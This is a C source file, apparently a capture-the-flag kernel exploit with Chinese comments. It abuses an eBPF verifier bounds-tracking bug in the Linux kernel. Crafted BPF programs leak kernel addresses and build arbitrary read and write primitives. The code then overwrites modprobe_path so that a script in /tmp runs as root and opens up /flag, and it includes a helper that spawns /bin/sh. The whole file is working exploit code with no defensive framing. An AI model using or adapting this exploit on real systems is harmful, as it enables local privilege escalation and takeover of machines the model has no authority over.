#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
//CPU绑核 void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
size_t page_offset_base;
#include <linux/bpf.h> #include <stdint.h> #include <sys/socket.h> #include <sys/syscall.h> #include "bpf_insn.h"
static inline int bpf(int cmd, union bpf_attr *attr) { return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); }
struct bpf_insn prog[] = { BPF_LD_MAP_FD(BPF_REG_1, 3), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value /* if success, r0 will be ptr to value, 0 for failed */ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), /* load value into r6, make it part-unknown */ BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_4, 0xffffffff), BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32), BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_4), BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1), /* r3 = 0x100000002 */ BPF_MOV64_IMM(BPF_REG_3, 3), BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x6), /* triger the vulnerability */ BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_3),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2), //通过无符号跳转构造[0,1]寄存器r7 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7), //两寄存器相加,边界值相加,reg6运行时为0,确信为1 BPF_MOV64_IMM(BPF_REG_3, 0), BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), //直接赋值总会是32位,所以要通过左移指令扩展成64位 BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 1), //构造reg3为value=1的64位已知寄存器 BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_3), //使r2的高32位变成已知,r2此时运行时为0,确信为1 BPF_ALU64_REG(BPF_XOR, BPF_REG_6, BPF_REG_3), //r2此时运行时为1,确信为0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0X110), BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_LD_MAP_FD(BPF_REG_1, 4), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -16), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value /* if success, r0 will be ptr to value, 0 for failed */ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), //r8 -> expmap->array[0] BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7,0), BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0,0x0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0XC0), BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7,0), BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0,0x8),
//BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 0XC0), //BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0X40), //map->brf //BPF_MOV64_IMM(BPF_REG_0, 0x12345678), //BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x10), //R8 -> expmap->array+0x10 BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0), BPF_JMP_IMM(BPF_JNE, BPF_REG_4, 0x0, 1), //将0x12345678作为进行任意地址写的信号 BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 0XC0), //R7 -> map->btf BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x18 读value[3] BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0),//R4是目标的地址,也就是map+0x110,我们在这里部署fake_ops BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//篡改ops BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0X110), //R7 -> map->array / fake_ops BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 14*8), //push_elem BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x20 读value[4] BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//填充1
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 0X110+14*8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x18), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x28 读value[5] BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//map_type = BPF_MAP_TYPE_STACK
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, 0x18), BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x20), BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x30 读value[6] BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//max_entries = 0xffff ffff
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x8), //0x28 BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x8), //R8 -> expmap->array+0x30 读value[6] BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_8, 0X0), BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),//spin_lock_off = 0
BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(),
};
#define BPF_LOG_SZ 0x20000 char bpf_log_buf[BPF_LOG_SZ] = { '\0' };
int sockets[2]; int map_fd1; int map_fd2; int prog_fd; uint32_t key; uint64_t* value1; uint64_t* value2;
union bpf_attr attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insns = (uint64_t) &prog, .insn_cnt = sizeof(prog) / sizeof(prog[0]), .license = (uint64_t) "GPL", .log_level = 2, .log_buf = (uint64_t) bpf_log_buf, .log_size = BPF_LOG_SZ, };
static __always_inline int bpf_map_create(unsigned int map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, }; return bpf(BPF_MAP_CREATE, &attr); }
static __always_inline int bpf_map_get_elem(int map_fd, const void *key, void *value) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, };
// 使用 BPF_MAP_LOOKUP_ELEM 获取 map 中的元素 return bpf(BPF_MAP_LOOKUP_ELEM, &attr); }
static __always_inline uint32_t bpf_map_get_info_by_fd(int map_fd) { struct bpf_map_info info; union bpf_attr attr = { .info.bpf_fd = map_fd, .info.info_len = sizeof(info), .info.info = (uint64_t)&info,
}; bpf(BPF_OBJ_GET_INFO_BY_FD, &attr); return info.btf_id; }
static __always_inline int bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags) { union bpf_attr attr = { .map_fd = map_fd, .key = (uint64_t)key, .value = (uint64_t)value, .flags = flags, }; return bpf(BPF_MAP_UPDATE_ELEM, &attr); }
size_t ker_offset; char aar_bpf_log_buf[0x2000];
int af1, af2, as[2]; int aar_cmd[2]; int aar_reply[2];
size_t aar_init(void){ int aarfd1; int aarfd2; int aar_sockets[2];
aarfd1 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1); if (aarfd1 < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");
aarfd2 = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1); if (aarfd2 < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");
printf("aarfd1 == %d, aarfd2 == %d\n", aarfd1, aarfd2);
struct bpf_insn aar_prog[] = { BPF_LD_MAP_FD(BPF_REG_1, aarfd1), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value /* if success, r0 will be ptr to value, 0 for failed */ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), /* load value into r6, make it part-unknown */ BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_4, 0xffffffff), BPF_ALU64_IMM(BPF_LSH, BPF_REG_4, 32), BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_4), BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1), /* r3 = 0x100000002 */ BPF_MOV64_IMM(BPF_REG_3, 3), BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x6), /* triger the vulnerability */ BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_3),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_7, 1, 2), //通过无符号跳转构造[0,1]寄存器r7 BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7), //两寄存器相加,边界值相加,reg6运行时为0,确信为1 BPF_MOV64_IMM(BPF_REG_3, 0), BPF_ALU64_IMM(BPF_LSH, BPF_REG_3, 32), //直接赋值总会是32位,所以要通过左移指令扩展成64位 BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 1), //构造reg3为value=1的64位已知寄存器 BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_3), //使r2的高32位变成已知,r2此时运行时为0,确信为1 BPF_ALU64_REG(BPF_XOR, BPF_REG_6, BPF_REG_3), //r2此时运行时为1,确信为0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0X110), BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_LD_MAP_FD(BPF_REG_1, aarfd2), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -16), BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //第一个参数是fd,第二个参数是&key,第三个参数 是&value /* if success, r0 will be ptr to value, 0 for failed */ BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0X40), //map->brf BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_8, 0), BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x0),
BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN(), };
union bpf_attr aar_attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insns = (uint64_t) &aar_prog, .insn_cnt = sizeof(aar_prog) / sizeof(aar_prog[0]), .license = (uint64_t) "GPL", .log_level = 2, .log_buf = (uint64_t) aar_bpf_log_buf, .log_size = BPF_LOG_SZ, };
int aar_prog_fd = bpf(BPF_PROG_LOAD, &aar_attr); if (aar_prog_fd < 0) { //puts(aar_bpf_log_buf); perror("BPF_PROG_LOAD"); return -1; } //puts(aar_bpf_log_buf);
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, aar_sockets) < 0) perror("socketpair()"); if (setsockopt(aar_sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &aar_prog_fd, sizeof(aar_prog_fd)) < 0) perror("socketpair SO_ATTACH_BPF"); size_t addr; size_t key = 0; size_t value[0x100]; while(1){ read(9, &addr, 8); //printf("aar addr == %p\n", (void *)addr); value[0] = addr-0x58; bpf_map_update_elem(aarfd2, &key, value, BPF_ANY); char con[0x1000]; int wl = write(aar_sockets[0], con, 0x100); size_t res1 = bpf_map_get_info_by_fd(aarfd1); value[0] = addr-0x58+4; bpf_map_update_elem(aarfd2, &key, value, BPF_ANY); wl = write(aar_sockets[0], con, 0x100); size_t res2 = bpf_map_get_info_by_fd(aarfd1); size_t ans = (res2 << 32) | res1; //printf("ans == %p\n", (void *)ans); write(12, &ans, 8);
}
}
int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS, .key_size = key_size, .value_size = value_size, .max_entries = max_entries, // .map_flags = BPF_F_MMAPABLE, .inner_map_fd = fd, };
int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); if (map_fd < 0) { return -1; } return map_fd; }
size_t aar(size_t addr){ size_t ans; write(10, &addr, 8); read(11, &ans, 8); //printf("main_ans == %p\n", (void *)ans); return ans; }
void aaw(int map_fd, size_t addr, size_t val){ size_t key = 0; size_t value[0x1000]; size_t val1 = val & 0xffffffff; val1--; size_t val2 = val >> 32; val2--; value[0] = val1; bpf_map_update_elem(map_fd, &key, value, addr); value[0] = val2; bpf_map_update_elem(map_fd, &key, value, addr+4);
}
int main(){
save_status(); bindCore(0);
int map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1); if (map_fd < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");
int expmap_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x2000, 1); if (expmap_fd < 0) perror("BPF_MAP_CREATE");//, err_exit("BPF_MAP_CREATE");
prog_fd = bpf(BPF_PROG_LOAD, &attr); if (prog_fd < 0) { //puts(bpf_log_buf); perror("BPF_PROG_LOAD"); return -1; } //puts(bpf_log_buf); printf("prog_fd == %d\n", prog_fd);
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0) perror("socketpair()");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0) perror("socketpair SO_ATTACH_BPF");
char s[0x1000]; int wl = write(sockets[0], s, 0x100); printf("wl == %d\n", wl);
size_t key = 0; size_t value[0x1000]; bpf_map_get_elem(expmap_fd, &key, value); printf("leak : %p\n", (void *)value[0]); printf("map_wait_list : %p\n", (void *)value[1]);
size_t map_wait_list = value[1]; size_t map = map_wait_list - 0xc0;
ker_offset = value[0] - 0xffffffff82019020; printf("ker_offset == %p\n", (void *)ker_offset); page_offset_base = map & 0xfffffffff0000000; printf("page_offset_base == %p\n", (void *)page_offset_base);
int array_map_fd = create_bpf_array_of_map(map_fd, 4, 4, 1); printf("array_map_fd == %d\n", array_map_fd); key = 0; bpf_map_update_elem(array_map_fd, &key, &map_fd, BPF_ANY);
if(pipe(aar_cmd) < 0){ perror("pipe"); return -1; } //printf("pipe :%d\n", aar_cmd[0]); if(pipe(aar_reply) < 0){ perror("pipe"); return -1; } if(!fork()){ aar_init(); }
size_t array_map_get_next_key = ker_offset + 0xffffffff81179e20;
key = 0; memset(value, 0, sizeof(value)); value[2] = 0x12345678; value[3] = map + 0x110; value[4] = array_map_get_next_key; value[5] = BPF_MAP_TYPE_STACK + 0x400000000; value[6] = 0xffffffff00002000; value[7] = 0LL;
int ret = bpf_map_update_elem(expmap_fd, &key, value, BPF_ANY); if(ret < 0){ perror("update elem"); } write(sockets[0], s, 0x100); //printf("map == %p\n", (void *)map);
//value[0] = 0x12345678; //ret = bpf_map_update_elem(map_fd, &key, value, page_offset_base); //printf("ret == %d\n", ret); aaw(map_fd, map+0x200, 0x1111222233334444); size_t modprobe_path = ker_offset + 0xffffffff8244ce40; char path[] = "/tmp/a\x00\x00"; size_t val; memcpy(&val, path, 8); aaw(map_fd, modprobe_path, val);
system("touch /tmp/error"); int ef = open("/tmp/error", 2); write(ef, "\xff\xff\xff\xff", 4); close(ef); system("chmod +x /tmp/error");
char shellcode[] = "#!/bin/sh\nchmod 777 /flag\n\x00"; system("touch /tmp/a"); int af = open("/tmp/a", 2); write(af, shellcode, strlen(shellcode)); close(af); system("chmod +x /tmp/a"); system("/tmp/error"); int f = open("/flag", 0); char flag[0x100]; read(f, flag, 0x100); puts(flag); }
|